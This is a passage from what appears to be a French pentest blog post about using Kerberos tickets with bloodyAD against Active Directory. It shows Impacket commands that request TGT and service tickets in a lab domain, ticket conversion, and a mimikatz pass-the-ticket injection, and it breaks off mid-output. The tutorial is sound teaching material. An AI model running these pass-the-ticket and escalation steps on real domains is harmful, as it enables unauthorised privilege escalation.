&lt;p&gt;⚠️ Depuis le commit &lt;a href="https://github.com/CravateRouge/bloodyAD/commit/54babd733aad477f3099b8e9db50b6436918d858" target="_blank" rel="noopener"&gt;54babd7&lt;/a&gt; l&amp;rsquo;échange d&amp;rsquo;informations sensibles sans LDAPS est supportée.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La plupart du temps, j’utilise l&amp;rsquo;authentification NTML mais parfois, on doit se débrouiller avec un TGT ou ST kerberos et ça serait dommage de ne pas les utiliser pour essayer d&amp;rsquo;élever ses privilèges dans l&amp;rsquo;AD. Alors voyons comment faire ça avec &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="linux"&gt;Linux&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a TGT (For GSSAPI the server name must be the FQDN)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;getTGT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="nv"&gt;@ssw0rd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt; &lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;11&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;19.028227&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a ST (For GSSAPI the spn is case sensitive)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;getST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-no-pass&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-spn&lt;/span&gt; &lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;win-ij5b521uo5l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;BLOODY.LOCAL/Administrator&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Getting&lt;/span&gt; &lt;span class="n"&gt;ST&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Use bloodyAD with Kerberos auth (using a TGT or a ST)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Add the credential cache generated in the default path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Administrator.ccache&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Check if the ticket is in default path, not expired, for the right client/server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;klist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;principal&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Valid&lt;/span&gt; &lt;span class="n"&gt;starting&lt;/span&gt; &lt;span class="n"&gt;Expires&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt; &lt;span class="n"&gt;principal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;19&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;42&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;54&lt;/span&gt; &lt;span class="mf"&gt;06&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;42&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;54&lt;/span&gt; &lt;span class="n"&gt;krbtgt&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LOCAL&lt;/span&gt;&lt;span class="nv"&gt;@BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;renew&lt;/span&gt; &lt;span class="k"&gt;until&lt;/span&gt; &lt;span class="mf"&gt;06&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;19&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;42&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;55&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## If your DNS doesn&amp;#39;t resolve&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Note: second level domain name with &amp;#34;.local&amp;#34; added to /etc/hosts doesn&amp;#39;t resolve on some Manjaro versions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# see https://forum.manjaro.org/t/mapping-for-etc-hosts-entries-with-local-as-tld-isnt-working/116021&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;192.168.10.2 win-ij5b521uo5l.bloody.local bloody.local&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## And now the magic happens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=bloody,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version:&lt;/span&gt; &lt;span class="n"&gt;DS_BEHAVIOR_WIN2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="windows"&gt;Windows&lt;/h2&gt;
&lt;p&gt;Le code ci-dessous montre comment générer un TGT ou ST et comment ils sont utilisés avec &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; dans un environnement Windows. Bien sûr dans la majorité des cas on a déjà des tickets disponibles. Dans ce cas allez directement à la partie &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a TGT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Scripts&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;getTGT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="nv"&gt;@ssw0rd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a ST from the TGT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ren &lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt; &lt;span class="n"&gt;adminTGT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$env:krb5ccname&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;adminTGT.ccache&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Scripts&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;getST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-no-pass&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-spn&lt;/span&gt; &lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;BLOODY/Administrator&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Getting&lt;/span&gt; &lt;span class="n"&gt;ST&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Use bloodyAD with Kerberos auth (using a TGT or a ST)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## First convert ccache in kirbi if necessary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Scripts&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;ticketConverter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;kirbi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;converting&lt;/span&gt; &lt;span class="n"&gt;ccache&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;kirbi&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Inject the ticket in memory if needed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="c"&gt;#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="c"&gt;## ^ ##. &amp;#34;A La Vie, A L&amp;#39;Amour&amp;#34; - (oe.eo)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c"&gt;## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )&lt;/span&gt;
